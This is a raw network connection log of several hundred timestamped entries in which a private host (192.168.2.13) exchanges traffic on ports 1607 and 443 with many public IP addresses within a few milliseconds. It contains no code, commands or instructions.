Apr 14, 2024 03:59:49.696909904 CEST	1607	443	192.168.2.13	37.9.227.95
Apr 14, 2024 03:59:49.696912050 CEST	443	1607	148.71.109.158	192.168.2.13
Apr 14, 2024 03:59:49.696918964 CEST	443	1607	37.9.227.95	192.168.2.13
Apr 14, 2024 03:59:49.696921110 CEST	1607	443	192.168.2.13	109.189.187.149
Apr 14, 2024 03:59:49.696923018 CEST	443	1607	118.50.199.40	192.168.2.13
Apr 14, 2024 03:59:49.696928978 CEST	443	1607	109.189.187.149	192.168.2.13
Apr 14, 2024 03:59:49.696929932 CEST	1607	443	192.168.2.13	178.100.31.64
Apr 14, 2024 03:59:49.696929932 CEST	1607	443	192.168.2.13	5.196.174.109
Apr 14, 2024 03:59:49.696930885 CEST	1607	443	192.168.2.13	79.21.39.149
Apr 14, 2024 03:59:49.696930885 CEST	1607	443	192.168.2.13	202.171.171.138
Apr 14, 2024 03:59:49.696930885 CEST	1607	443	192.168.2.13	109.76.0.243
Apr 14, 2024 03:59:49.696942091 CEST	443	1607	178.100.31.64	192.168.2.13
Apr 14, 2024 03:59:49.696943045 CEST	443	1607	79.21.39.149	192.168.2.13
Apr 14, 2024 03:59:49.696943045 CEST	1607	443	192.168.2.13	148.71.109.158
Apr 14, 2024 03:59:49.696953058 CEST	1607	443	192.168.2.13	79.31.67.14
Apr 14, 2024 03:59:49.696954966 CEST	443	1607	202.171.171.138	192.168.2.13
Apr 14, 2024 03:59:49.696960926 CEST	443	1607	79.31.67.14	192.168.2.13
Apr 14, 2024 03:59:49.696962118 CEST	1607	443	192.168.2.13	37.9.227.95
Apr 14, 2024 03:59:49.696969986 CEST	1607	443	192.168.2.13	109.189.187.149
Apr 14, 2024 03:59:49.696980000 CEST	1607	443	192.168.2.13	118.50.199.40
Apr 14, 2024 03:59:49.696988106 CEST	1607	443	192.168.2.13	178.100.31.64
Apr 14, 2024 03:59:49.696988106 CEST	1607	443	192.168.2.13	79.21.39.149
Apr 14, 2024 03:59:49.696988106 CEST	1607	443	192.168.2.13	202.171.171.138
Apr 14, 2024 03:59:49.696995020 CEST	1607	443	192.168.2.13	79.31.67.14
Apr 14, 2024 03:59:49.697024107 CEST	1607	443	192.168.2.13	210.55.80.0
Apr 14, 2024 03:59:49.697035074 CEST	443	1607	210.55.80.0	192.168.2.13
Apr 14, 2024 03:59:49.697040081 CEST	1607	443	192.168.2.13	5.24.184.148
Apr 14, 2024 03:59:49.697052002 CEST	443	1607	5.24.184.148	192.168.2.13
Apr 14, 2024 03:59:49.697056055 CEST	1607	443	192.168.2.13	37.19.231.174
Apr 14, 2024 03:59:49.697056055 CEST	1607	443	192.168.2.13	5.8.7.236
Apr 14, 2024 03:59:49.697063923 CEST	443	1607	37.19.231.174	192.168.2.13
Apr 14, 2024 03:59:49.697063923 CEST	443	1607	5.8.7.236	192.168.2.13
Apr 14, 2024 03:59:49.697067022 CEST	1607	443	192.168.2.13	210.55.80.0
Apr 14, 2024 03:59:49.697069883 CEST	1607	443	192.168.2.13	123.17.68.140
Apr 14, 2024 03:59:49.697077990 CEST	1607	443	192.168.2.13	178.67.180.79
Apr 14, 2024 03:59:49.697079897 CEST	443	1607	123.17.68.140	192.168.2.13
Apr 14, 2024 03:59:49.697086096 CEST	443	1607	178.67.180.79	192.168.2.13
Apr 14, 2024 03:59:49.697089911 CEST	1607	443	192.168.2.13	5.24.184.148
Apr 14, 2024 03:59:49.697102070 CEST	1607	443	192.168.2.13	210.52.201.13
Apr 14, 2024 03:59:49.697103977 CEST	1607	443	192.168.2.13	123.236.196.233
Apr 14, 2024 03:59:49.697108030 CEST	1607	443	192.168.2.13	5.8.7.236
Apr 14, 2024 03:59:49.697108984 CEST	443	1607	210.52.201.13	192.168.2.13
Apr 14, 2024 03:59:49.697110891 CEST	1607	443	192.168.2.13	37.19.231.174
Apr 14, 2024 03:59:49.697108030 CEST	1607	443	192.168.2.13	42.87.154.138
Apr 14, 2024 03:59:49.697119951 CEST	443	1607	123.236.196.233	192.168.2.13
Apr 14, 2024 03:59:49.697122097 CEST	443	1607	42.87.154.138	192.168.2.13
Apr 14, 2024 03:59:49.697129965 CEST	1607	443	192.168.2.13	178.67.180.79
Apr 14, 2024 03:59:49.697130919 CEST	1607	443	192.168.2.13	123.17.68.140
Apr 14, 2024 03:59:49.697132111 CEST	1607	443	192.168.2.13	212.36.71.86
Apr 14, 2024 03:59:49.697139025 CEST	443	1607	212.36.71.86	192.168.2.13
Apr 14, 2024 03:59:49.697140932 CEST	1607	443	192.168.2.13	210.41.226.147
Apr 14, 2024 03:59:49.697150946 CEST	443	1607	210.41.226.147	192.168.2.13
Apr 14, 2024 03:59:49.697154999 CEST	1607	443	192.168.2.13	210.52.201.13
Apr 14, 2024 03:59:49.697156906 CEST	1607	443	192.168.2.13	42.87.154.138
Apr 14, 2024 03:59:49.697161913 CEST	1607	443	192.168.2.13	123.236.196.233
Apr 14, 2024 03:59:49.697170019 CEST	1607	443	192.168.2.13	37.130.87.5
Apr 14, 2024 03:59:49.697170019 CEST	1607	443	192.168.2.13	212.36.71.86
Apr 14, 2024 03:59:49.697170019 CEST	1607	443	192.168.2.13	118.247.87.49
Apr 14, 2024 03:59:49.697180033 CEST	443	1607	37.130.87.5	192.168.2.13
Apr 14, 2024 03:59:49.697191000 CEST	443	1607	118.247.87.49	192.168.2.13
Apr 14, 2024 03:59:49.697196960 CEST	1607	443	192.168.2.13	210.41.226.147
Apr 14, 2024 03:59:49.697196960 CEST	1607	443	192.168.2.13	5.158.21.94
Apr 14, 2024 03:59:49.697200060 CEST	1607	443	192.168.2.13	117.184.209.144
Apr 14, 2024 03:59:49.697207928 CEST	443	1607	117.184.209.144	192.168.2.13
Apr 14, 2024 03:59:49.697215080 CEST	443	1607	5.158.21.94	192.168.2.13
Apr 14, 2024 03:59:49.697223902 CEST	1607	443	192.168.2.13	37.130.87.5
Apr 14, 2024 03:59:49.697223902 CEST	1607	443	192.168.2.13	2.137.225.15
Apr 14, 2024 03:59:49.697223902 CEST	1607	443	192.168.2.13	118.247.87.49
Apr 14, 2024 03:59:49.697231054 CEST	1607	443	192.168.2.13	42.56.81.138
Apr 14, 2024 03:59:49.697231054 CEST	1607	443	192.168.2.13	94.255.58.234
Apr 14, 2024 03:59:49.697237015 CEST	443	1607	2.137.225.15	192.168.2.13
Apr 14, 2024 03:59:49.697241068 CEST	443	1607	42.56.81.138	192.168.2.13
Apr 14, 2024 03:59:49.697242975 CEST	1607	443	192.168.2.13	94.34.85.253
Apr 14, 2024 03:59:49.697242022 CEST	1607	443	192.168.2.13	117.184.209.144
Apr 14, 2024 03:59:49.697242022 CEST	1607	443	192.168.2.13	109.136.128.170
Apr 14, 2024 03:59:49.697252035 CEST	443	1607	94.34.85.253	192.168.2.13
Apr 14, 2024 03:59:49.697253942 CEST	1607	443	192.168.2.13	109.6.241.86
Apr 14, 2024 03:59:49.697254896 CEST	443	1607	94.255.58.234	192.168.2.13
Apr 14, 2024 03:59:49.697254896 CEST	1607	443	192.168.2.13	5.158.21.94
Apr 14, 2024 03:59:49.697254896 CEST	1607	443	192.168.2.13	210.129.165.162
Apr 14, 2024 03:59:49.697261095 CEST	443	1607	109.6.241.86	192.168.2.13
Apr 14, 2024 03:59:49.697262049 CEST	443	1607	109.136.128.170	192.168.2.13
Apr 14, 2024 03:59:49.697271109 CEST	1607	443	192.168.2.13	5.242.43.80
Apr 14, 2024 03:59:49.697273016 CEST	1607	443	192.168.2.13	123.204.170.188
Apr 14, 2024 03:59:49.697274923 CEST	443	1607	210.129.165.162	192.168.2.13
Apr 14, 2024 03:59:49.697279930 CEST	443	1607	123.204.170.188	192.168.2.13
Apr 14, 2024 03:59:49.697283030 CEST	1607	443	192.168.2.13	2.137.225.15
Apr 14, 2024 03:59:49.697287083 CEST	443	1607	5.242.43.80	192.168.2.13
Apr 14, 2024 03:59:49.697304964 CEST	1607	443	192.168.2.13	94.34.85.253
Apr 14, 2024 03:59:49.697304964 CEST	1607	443	192.168.2.13	210.129.165.162
Apr 14, 2024 03:59:49.697307110 CEST	1607	443	192.168.2.13	42.56.81.138
Apr 14, 2024 03:59:49.697308064 CEST	1607	443	192.168.2.13	109.136.128.170
Apr 14, 2024 03:59:49.697308064 CEST	1607	443	192.168.2.13	94.255.58.234
Apr 14, 2024 03:59:49.697309017 CEST	1607	443	192.168.2.13	109.6.241.86
Apr 14, 2024 03:59:49.697314024 CEST	1607	443	192.168.2.13	123.204.170.188
Apr 14, 2024 03:59:49.697319031 CEST	1607	443	192.168.2.13	5.242.43.80
Apr 14, 2024 03:59:49.697331905 CEST	1607	443	192.168.2.13	117.96.193.13
Apr 14, 2024 03:59:49.697334051 CEST	1607	443	192.168.2.13	212.176.227.154
Apr 14, 2024 03:59:49.697334051 CEST	1607	443	192.168.2.13	178.138.130.186
Apr 14, 2024 03:59:49.697334051 CEST	1607	443	192.168.2.13	5.246.89.90
Apr 14, 2024 03:59:49.697340012 CEST	443	1607	117.96.193.13	192.168.2.13
Apr 14, 2024 03:59:49.697345018 CEST	443	1607	212.176.227.154	192.168.2.13
Apr 14, 2024 03:59:49.697355986 CEST	443	1607	178.138.130.186	192.168.2.13
Apr 14, 2024 03:59:49.697355986 CEST	1607	443	192.168.2.13	2.135.252.251
Apr 14, 2024 03:59:49.697360992 CEST	443	1607	5.246.89.90	192.168.2.13
Apr 14, 2024 03:59:49.697365046 CEST	443	1607	2.135.252.251	192.168.2.13
Apr 14, 2024 03:59:49.697371960 CEST	1607	443	192.168.2.13	123.78.118.151
Apr 14, 2024 03:59:49.697372913 CEST	1607	443	192.168.2.13	37.48.87.192
Apr 14, 2024 03:59:49.697374105 CEST	1607	443	192.168.2.13	117.96.193.13
Apr 14, 2024 03:59:49.697381973 CEST	443	1607	123.78.118.151	192.168.2.13
Apr 14, 2024 03:59:49.697384119 CEST	443	1607	37.48.87.192	192.168.2.13
Apr 14, 2024 03:59:49.697396040 CEST	1607	443	192.168.2.13	212.176.227.154
Apr 14, 2024 03:59:49.697396040 CEST	1607	443	192.168.2.13	178.138.130.186
Apr 14, 2024 03:59:49.697412014 CEST	1607	443	192.168.2.13	5.246.89.90
Apr 14, 2024 03:59:49.697413921 CEST	1607	443	192.168.2.13	2.135.252.251
Apr 14, 2024 03:59:49.697418928 CEST	1607	443	192.168.2.13	5.57.149.207
Apr 14, 2024 03:59:49.697421074 CEST	1607	443	192.168.2.13	37.48.87.192
Apr 14, 2024 03:59:49.697422028 CEST	1607	443	192.168.2.13	123.78.118.151
Apr 14, 2024 03:59:49.697427034 CEST	443	1607	5.57.149.207	192.168.2.13
Apr 14, 2024 03:59:49.697458029 CEST	1607	443	192.168.2.13	123.163.223.1
Apr 14, 2024 03:59:49.697465897 CEST	443	1607	123.163.223.1	192.168.2.13
Apr 14, 2024 03:59:49.697469950 CEST	1607	443	192.168.2.13	5.57.149.207
Apr 14, 2024 03:59:49.697489023 CEST	1607	443	192.168.2.13	109.203.240.2
Apr 14, 2024 03:59:49.697489023 CEST	1607	443	192.168.2.13	148.81.10.62
Apr 14, 2024 03:59:49.697495937 CEST	1607	443	192.168.2.13	210.104.137.171
Apr 14, 2024 03:59:49.697495937 CEST	1607	443	192.168.2.13	2.235.242.142
Apr 14, 2024 03:59:49.697498083 CEST	443	1607	109.203.240.2	192.168.2.13
Apr 14, 2024 03:59:49.697501898 CEST	1607	443	192.168.2.13	37.72.200.73
Apr 14, 2024 03:59:49.697505951 CEST	443	1607	210.104.137.171	192.168.2.13
Apr 14, 2024 03:59:49.697509050 CEST	443	1607	148.81.10.62	192.168.2.13
Apr 14, 2024 03:59:49.697519064 CEST	443	1607	2.235.242.142	192.168.2.13
Apr 14, 2024 03:59:49.697525978 CEST	1607	443	192.168.2.13	109.14.34.250
Apr 14, 2024 03:59:49.697526932 CEST	443	1607	37.72.200.73	192.168.2.13
Apr 14, 2024 03:59:49.697526932 CEST	1607	443	192.168.2.13	210.157.68.79
Apr 14, 2024 03:59:49.697535992 CEST	443	1607	210.157.68.79	192.168.2.13
Apr 14, 2024 03:59:49.697537899 CEST	1607	443	192.168.2.13	37.20.75.119
Apr 14, 2024 03:59:49.697539091 CEST	1607	443	192.168.2.13	109.203.240.2
Apr 14, 2024 03:59:49.697546005 CEST	443	1607	109.14.34.250	192.168.2.13
Apr 14, 2024 03:59:49.697547913 CEST	443	1607	37.20.75.119	192.168.2.13
Apr 14, 2024 03:59:49.697560072 CEST	1607	443	192.168.2.13	123.163.223.1
Apr 14, 2024 03:59:49.697565079 CEST	1607	443	192.168.2.13	148.81.10.62
Apr 14, 2024 03:59:49.697566032 CEST	1607	443	192.168.2.13	210.104.137.171
Apr 14, 2024 03:59:49.697566032 CEST	1607	443	192.168.2.13	2.235.242.142
Apr 14, 2024 03:59:49.697571039 CEST	1607	443	192.168.2.13	210.157.68.79
Apr 14, 2024 03:59:49.697571993 CEST	1607	443	192.168.2.13	109.14.34.250
Apr 14, 2024 03:59:49.697571993 CEST	1607	443	192.168.2.13	37.72.200.73
Apr 14, 2024 03:59:49.697576046 CEST	1607	443	192.168.2.13	37.20.75.119
Apr 14, 2024 03:59:49.697598934 CEST	1607	443	192.168.2.13	202.89.107.38
Apr 14, 2024 03:59:49.697599888 CEST	1607	443	192.168.2.13	109.76.46.107
Apr 14, 2024 03:59:49.697606087 CEST	443	1607	202.89.107.38	192.168.2.13
Apr 14, 2024 03:59:49.697607994 CEST	443	1607	109.76.46.107	192.168.2.13
Apr 14, 2024 03:59:49.697622061 CEST	1607	443	192.168.2.13	210.24.90.60
Apr 14, 2024 03:59:49.697632074 CEST	443	1607	210.24.90.60	192.168.2.13
Apr 14, 2024 03:59:49.697643995 CEST	1607	443	192.168.2.13	178.245.166.178
Apr 14, 2024 03:59:49.697648048 CEST	1607	443	192.168.2.13	109.76.46.107
Apr 14, 2024 03:59:49.697652102 CEST	1607	443	192.168.2.13	94.217.39.56
Apr 14, 2024 03:59:49.697652102 CEST	1607	443	192.168.2.13	202.89.107.38
Apr 14, 2024 03:59:49.697653055 CEST	443	1607	178.245.166.178	192.168.2.13
Apr 14, 2024 03:59:49.697660923 CEST	1607	443	192.168.2.13	210.24.90.60
Apr 14, 2024 03:59:49.697673082 CEST	443	1607	94.217.39.56	192.168.2.13
Apr 14, 2024 03:59:49.697674990 CEST	1607	443	192.168.2.13	2.254.76.67
Apr 14, 2024 03:59:49.697680950 CEST	1607	443	192.168.2.13	117.115.44.44
Apr 14, 2024 03:59:49.697681904 CEST	443	1607	2.254.76.67	192.168.2.13
Apr 14, 2024 03:59:49.697694063 CEST	1607	443	192.168.2.13	178.245.166.178
Apr 14, 2024 03:59:49.697698116 CEST	443	1607	117.115.44.44	192.168.2.13
Apr 14, 2024 03:59:49.697710037 CEST	1607	443	192.168.2.13	117.137.182.53
Apr 14, 2024 03:59:49.697716951 CEST	1607	443	192.168.2.13	2.254.76.67
Apr 14, 2024 03:59:49.697717905 CEST	443	1607	117.137.182.53	192.168.2.13
Apr 14, 2024 03:59:49.697720051 CEST	1607	443	192.168.2.13	94.217.39.56
Apr 14, 2024 03:59:49.697745085 CEST	1607	443	192.168.2.13	117.115.44.44
Apr 14, 2024 03:59:49.697783947 CEST	1607	443	192.168.2.13	42.10.85.91
Apr 14, 2024 03:59:49.697791100 CEST	1607	443	192.168.2.13	2.129.126.225
Apr 14, 2024 03:59:49.697792053 CEST	443	1607	42.10.85.91	192.168.2.13
Apr 14, 2024 03:59:49.697791100 CEST	1607	443	192.168.2.13	212.48.249.153
Apr 14, 2024 03:59:49.697791100 CEST	1607	443	192.168.2.13	210.48.26.231
Apr 14, 2024 03:59:49.697794914 CEST	1607	443	192.168.2.13	117.137.182.53
Apr 14, 2024 03:59:49.697807074 CEST	1607	443	192.168.2.13	94.31.218.142
Apr 14, 2024 03:59:49.697807074 CEST	1607	443	192.168.2.13	5.43.3.216
Apr 14, 2024 03:59:49.697813034 CEST	443	1607	2.129.126.225	192.168.2.13
Apr 14, 2024 03:59:49.697814941 CEST	443	1607	5.43.3.216	192.168.2.13
Apr 14, 2024 03:59:49.697814941 CEST	443	1607	94.31.218.142	192.168.2.13
Apr 14, 2024 03:59:49.697815895 CEST	1607	443	192.168.2.13	178.48.104.184
Apr 14, 2024 03:59:49.697823048 CEST	443	1607	178.48.104.184	192.168.2.13
Apr 14, 2024 03:59:49.697824955 CEST	443	1607	212.48.249.153	192.168.2.13
Apr 14, 2024 03:59:49.697829962 CEST	1607	443	192.168.2.13	42.10.85.91
Apr 14, 2024 03:59:49.697835922 CEST	443	1607	210.48.26.231	192.168.2.13
Apr 14, 2024 03:59:49.697848082 CEST	1607	443	192.168.2.13	2.13.62.223
Apr 14, 2024 03:59:49.697853088 CEST	1607	443	192.168.2.13	94.31.218.142
Apr 14, 2024 03:59:49.697854996 CEST	1607	443	192.168.2.13	5.43.3.216
Apr 14, 2024 03:59:49.697866917 CEST	443	1607	2.13.62.223	192.168.2.13
Apr 14, 2024 03:59:49.697869062 CEST	1607	443	192.168.2.13	178.48.104.184
Apr 14, 2024 03:59:49.697873116 CEST	1607	443	192.168.2.13	2.129.126.225
Apr 14, 2024 03:59:49.697873116 CEST	1607	443	192.168.2.13	212.48.249.153
Apr 14, 2024 03:59:49.697873116 CEST	1607	443	192.168.2.13	210.48.26.231
Apr 14, 2024 03:59:49.697892904 CEST	1607	443	192.168.2.13	210.191.78.215
Apr 14, 2024 03:59:49.697901011 CEST	443	1607	210.191.78.215	192.168.2.13
Apr 14, 2024 03:59:49.697901011 CEST	1607	443	192.168.2.13	2.219.109.8
Apr 14, 2024 03:59:49.697905064 CEST	1607	443	192.168.2.13	79.1.100.68
Apr 14, 2024 03:59:49.697909117 CEST	443	1607	2.219.109.8	192.168.2.13
Apr 14, 2024 03:59:49.697923899 CEST	1607	443	192.168.2.13	202.105.84.194
Apr 14, 2024 03:59:49.697925091 CEST	1607	443	192.168.2.13	42.14.130.196
Apr 14, 2024 03:59:49.697925091 CEST	1607	443	192.168.2.13	37.117.243.222
Apr 14, 2024 03:59:49.697926998 CEST	443	1607	79.1.100.68	192.168.2.13
Apr 14, 2024 03:59:49.697927952 CEST	1607	443	192.168.2.13	5.223.7.223
Apr 14, 2024 03:59:49.697927952 CEST	1607	443	192.168.2.13	2.13.62.223
Apr 14, 2024 03:59:49.697931051 CEST	1607	443	192.168.2.13	178.208.244.13
Apr 14, 2024 03:59:49.697931051 CEST	443	1607	202.105.84.194	192.168.2.13
Apr 14, 2024 03:59:49.697933912 CEST	1607	443	192.168.2.13	210.191.78.215
Apr 14, 2024 03:59:49.697935104 CEST	443	1607	42.14.130.196	192.168.2.13
Apr 14, 2024 03:59:49.697933912 CEST	1607	443	192.168.2.13	42.173.22.88
Apr 14, 2024 03:59:49.697938919 CEST	443	1607	178.208.244.13	192.168.2.13
Apr 14, 2024 03:59:49.697942972 CEST	443	1607	5.223.7.223	192.168.2.13
Apr 14, 2024 03:59:49.697945118 CEST	1607	443	192.168.2.13	2.219.109.8
Apr 14, 2024 03:59:49.697946072 CEST	443	1607	42.173.22.88	192.168.2.13
Apr 14, 2024 03:59:49.697948933 CEST	443	1607	37.117.243.222	192.168.2.13
Apr 14, 2024 03:59:49.697958946 CEST	1607	443	192.168.2.13	118.167.180.239
Apr 14, 2024 03:59:49.697966099 CEST	1607	443	192.168.2.13	202.105.84.194
Apr 14, 2024 03:59:49.697967052 CEST	443	1607	118.167.180.239	192.168.2.13
Apr 14, 2024 03:59:49.697968960 CEST	1607	443	192.168.2.13	79.1.100.68
Apr 14, 2024 03:59:49.697973013 CEST	1607	443	192.168.2.13	178.208.244.13
Apr 14, 2024 03:59:49.697977066 CEST	1607	443	192.168.2.13	42.14.130.196
Apr 14, 2024 03:59:49.697978020 CEST	1607	443	192.168.2.13	42.173.22.88
Apr 14, 2024 03:59:49.697978020 CEST	1607	443	192.168.2.13	5.223.7.223
Apr 14, 2024 03:59:49.697999001 CEST	1607	443	192.168.2.13	37.117.243.222
Apr 14, 2024 03:59:49.698002100 CEST	1607	443	192.168.2.13	5.70.40.183
Apr 14, 2024 03:59:49.698003054 CEST	1607	443	192.168.2.13	210.173.23.178
Apr 14, 2024 03:59:49.698009014 CEST	443	1607	5.70.40.183	192.168.2.13
Apr 14, 2024 03:59:49.698010921 CEST	1607	443	192.168.2.13	212.77.137.255
Apr 14, 2024 03:59:49.698013067 CEST	1607	443	192.168.2.13	118.167.180.239
Apr 14, 2024 03:59:49.698016882 CEST	443	1607	210.173.23.178	192.168.2.13
Apr 14, 2024 03:59:49.698016882 CEST	1607	443	192.168.2.13	37.57.110.180
Apr 14, 2024 03:59:49.698016882 CEST	1607	443	192.168.2.13	79.178.29.45
Apr 14, 2024 03:59:49.698019981 CEST	443	1607	212.77.137.255	192.168.2.13
Apr 14, 2024 03:59:49.698036909 CEST	443	1607	37.57.110.180	192.168.2.13
Apr 14, 2024 03:59:49.698040962 CEST	1607	443	192.168.2.13	5.103.169.255
Apr 14, 2024 03:59:49.698040962 CEST	1607	443	192.168.2.13	42.51.203.119
Apr 14, 2024 03:59:49.698046923 CEST	1607	443	192.168.2.13	210.173.23.178
Apr 14, 2024 03:59:49.698050022 CEST	443	1607	5.103.169.255	192.168.2.13
Apr 14, 2024 03:59:49.698055983 CEST	443	1607	42.51.203.119	192.168.2.13
Apr 14, 2024 03:59:49.698061943 CEST	1607	443	192.168.2.13	5.70.40.183
Apr 14, 2024 03:59:49.698067904 CEST	1607	443	192.168.2.13	212.77.137.255
Apr 14, 2024 03:59:49.698067904 CEST	443	1607	79.178.29.45	192.168.2.13
Apr 14, 2024 03:59:49.698071003 CEST	1607	443	192.168.2.13	2.68.87.231
Apr 14, 2024 03:59:49.698071003 CEST	1607	443	192.168.2.13	37.57.110.180
Apr 14, 2024 03:59:49.698086977 CEST	443	1607	2.68.87.231	192.168.2.13
Apr 14, 2024 03:59:49.698090076 CEST	1607	443	192.168.2.13	42.51.203.119
Apr 14, 2024 03:59:49.698090076 CEST	1607	443	192.168.2.13	5.103.169.255
Apr 14, 2024 03:59:49.698106050 CEST	1607	443	192.168.2.13	123.186.106.78
Apr 14, 2024 03:59:49.698112011 CEST	1607	443	192.168.2.13	118.82.30.172
Apr 14, 2024 03:59:49.698112965 CEST	443	1607	123.186.106.78	192.168.2.13
Apr 14, 2024 03:59:49.698113918 CEST	1607	443	192.168.2.13	202.39.245.240
Apr 14, 2024 03:59:49.698113918 CEST	1607	443	192.168.2.13	42.82.123.99
Apr 14, 2024 03:59:49.698115110 CEST	1607	443	192.168.2.13	79.178.29.45
Apr 14, 2024 03:59:49.698120117 CEST	443	1607	118.82.30.172	192.168.2.13
Apr 14, 2024 03:59:49.698123932 CEST	443	1607	202.39.245.240	192.168.2.13
Apr 14, 2024 03:59:49.698129892 CEST	443	1607	42.82.123.99	192.168.2.13
Apr 14, 2024 03:59:49.698132038 CEST	1607	443	192.168.2.13	2.68.87.231
Apr 14, 2024 03:59:49.698144913 CEST	1607	443	192.168.2.13	123.186.106.78
Apr 14, 2024 03:59:49.698162079 CEST	1607	443	192.168.2.13	118.82.30.172
Apr 14, 2024 03:59:49.698163033 CEST	1607	443	192.168.2.13	202.39.245.240
Apr 14, 2024 03:59:49.698163033 CEST	1607	443	192.168.2.13	42.82.123.99
Apr 14, 2024 03:59:49.698191881 CEST	1607	443	192.168.2.13	94.104.19.66
Apr 14, 2024 03:59:49.698199034 CEST	443	1607	94.104.19.66	192.168.2.13
Apr 14, 2024 03:59:49.698223114 CEST	1607	443	192.168.2.13	202.46.253.121
Apr 14, 2024 03:59:49.698234081 CEST	1607	443	192.168.2.13	94.104.19.66
Apr 14, 2024 03:59:49.698239088 CEST	443	1607	202.46.253.121	192.168.2.13
Apr 14, 2024 03:59:49.698240042 CEST	1607	443	192.168.2.13	210.164.242.66
Apr 14, 2024 03:59:49.698247910 CEST	443	1607	210.164.242.66	192.168.2.13
Apr 14, 2024 03:59:49.698247910 CEST	1607	443	192.168.2.13	117.156.11.178
Apr 14, 2024 03:59:49.698252916 CEST	1607	443	192.168.2.13	148.23.233.109
Apr 14, 2024 03:59:49.698252916 CEST	1607	443	192.168.2.13	178.17.31.144
Apr 14, 2024 03:59:49.698256969 CEST	443	1607	117.156.11.178	192.168.2.13
Apr 14, 2024 03:59:49.698266983 CEST	443	1607	148.23.233.109	192.168.2.13
Apr 14, 2024 03:59:49.698272943 CEST	1607	443	192.168.2.13	178.252.219.206
Apr 14, 2024 03:59:49.698277950 CEST	443	1607	178.17.31.144	192.168.2.13
Apr 14, 2024 03:59:49.698286057 CEST	443	1607	178.252.219.206	192.168.2.13
Apr 14, 2024 03:59:49.698288918 CEST	1607	443	192.168.2.13	210.164.242.66
Apr 14, 2024 03:59:49.698296070 CEST	1607	443	192.168.2.13	79.243.3.127
Apr 14, 2024 03:59:49.698296070 CEST	1607	443	192.168.2.13	117.156.11.178
Apr 14, 2024 03:59:49.698298931 CEST	1607	443	192.168.2.13	148.23.233.109
Apr 14, 2024 03:59:49.698298931 CEST	1607	443	192.168.2.13	178.17.31.144
Apr 14, 2024 03:59:49.698312044 CEST	1607	443	192.168.2.13	202.46.253.121
Apr 14, 2024 03:59:49.698313951 CEST	443	1607	79.243.3.127	192.168.2.13
Apr 14, 2024 03:59:49.698327065 CEST	1607	443	192.168.2.13	202.230.137.187
Apr 14, 2024 03:59:49.698331118 CEST	1607	443	192.168.2.13	210.175.221.42
Apr 14, 2024 03:59:49.698333979 CEST	1607	443	192.168.2.13	42.128.245.231
Apr 14, 2024 03:59:49.698335886 CEST	443	1607	202.230.137.187	192.168.2.13
Apr 14, 2024 03:59:49.698337078 CEST	1607	443	192.168.2.13	178.252.219.206
Apr 14, 2024 03:59:49.698338985 CEST	443	1607	210.175.221.42	192.168.2.13
Apr 14, 2024 03:59:49.698348999 CEST	443	1607	42.128.245.231	192.168.2.13
Apr 14, 2024 03:59:49.698354959 CEST	1607	443	192.168.2.13	42.116.1.191
Apr 14, 2024 03:59:49.698357105 CEST	1607	443	192.168.2.13	79.243.3.127
Apr 14, 2024 03:59:49.698357105 CEST	1607	443	192.168.2.13	5.50.74.36
Apr 14, 2024 03:59:49.698360920 CEST	443	1607	42.116.1.191	192.168.2.13
Apr 14, 2024 03:59:49.698376894 CEST	1607	443	192.168.2.13	202.230.137.187
Apr 14, 2024 03:59:49.698378086 CEST	443	1607	5.50.74.36	192.168.2.13
Apr 14, 2024 03:59:49.698379993 CEST	1607	443	192.168.2.13	42.128.245.231
Apr 14, 2024 03:59:49.698381901 CEST	1607	443	192.168.2.13	210.175.221.42
Apr 14, 2024 03:59:49.698394060 CEST	1607	443	192.168.2.13	178.248.237.162
Apr 14, 2024 03:59:49.698399067 CEST	1607	443	192.168.2.13	42.116.1.191
Apr 14, 2024 03:59:49.698406935 CEST	1607	443	192.168.2.13	109.81.28.125
Apr 14, 2024 03:59:49.698409081 CEST	443	1607	178.248.237.162	192.168.2.13
Apr 14, 2024 03:59:49.698415041 CEST	443	1607	109.81.28.125	192.168.2.13
Apr 14, 2024 03:59:49.698420048 CEST	1607	443	192.168.2.13	148.65.46.74
Apr 14, 2024 03:59:49.698420048 CEST	1607	443	192.168.2.13	5.50.74.36
Apr 14, 2024 03:59:49.698427916 CEST	443	1607	148.65.46.74	192.168.2.13
Apr 14, 2024 03:59:49.698431969 CEST	1607	443	192.168.2.13	212.70.199.72
Apr 14, 2024 03:59:49.698441982 CEST	443	1607	212.70.199.72	192.168.2.13
Apr 14, 2024 03:59:49.698452950 CEST	1607	443	192.168.2.13	109.81.28.125
Apr 14, 2024 03:59:49.698452950 CEST	1607	443	192.168.2.13	178.248.237.162
Apr 14, 2024 03:59:49.698452950 CEST	1607	443	192.168.2.13	148.65.46.74
Apr 14, 2024 03:59:49.698484898 CEST	1607	443	192.168.2.13	212.70.199.72
Apr 14, 2024 03:59:49.698494911 CEST	1607	443	192.168.2.13	118.100.51.175
Apr 14, 2024 03:59:49.698496103 CEST	1607	443	192.168.2.13	178.138.44.112
Apr 14, 2024 03:59:49.698494911 CEST	1607	443	192.168.2.13	210.221.60.154
Apr 14, 2024 03:59:49.698504925 CEST	1607	443	192.168.2.13	123.252.46.201
Apr 14, 2024 03:59:49.698513031 CEST	443	1607	118.100.51.175	192.168.2.13
Apr 14, 2024 03:59:49.698513031 CEST	443	1607	123.252.46.201	192.168.2.13
Apr 14, 2024 03:59:49.698520899 CEST	443	1607	178.138.44.112	192.168.2.13
Apr 14, 2024 03:59:49.698525906 CEST	443	1607	210.221.60.154	192.168.2.13
Apr 14, 2024 03:59:49.698530912 CEST	1607	443	192.168.2.13	94.173.19.241
Apr 14, 2024 03:59:49.698537111 CEST	443	1607	94.173.19.241	192.168.2.13
Apr 14, 2024 03:59:49.698553085 CEST	1607	443	192.168.2.13	123.252.46.201
Apr 14, 2024 03:59:49.698556900 CEST	1607	443	192.168.2.13	118.100.51.175
Apr 14, 2024 03:59:49.698559046 CEST	1607	443	192.168.2.13	178.138.44.112
Apr 14, 2024 03:59:49.698577881 CEST	1607	443	192.168.2.13	210.221.60.154
Apr 14, 2024 03:59:49.698580980 CEST	1607	443	192.168.2.13	94.173.19.241
Apr 14, 2024 03:59:49.698599100 CEST	1607	443	192.168.2.13	37.89.86.162
Apr 14, 2024 03:59:49.698606014 CEST	443	1607	37.89.86.162	192.168.2.13
Apr 14, 2024 03:59:49.698610067 CEST	1607	443	192.168.2.13	109.127.65.145
Apr 14, 2024 03:59:49.698610067 CEST	1607	443	192.168.2.13	79.102.161.153
Apr 14, 2024 03:59:49.698613882 CEST	1607	443	192.168.2.13	5.228.95.90
Apr 14, 2024 03:59:49.698621035 CEST	443	1607	5.228.95.90	192.168.2.13
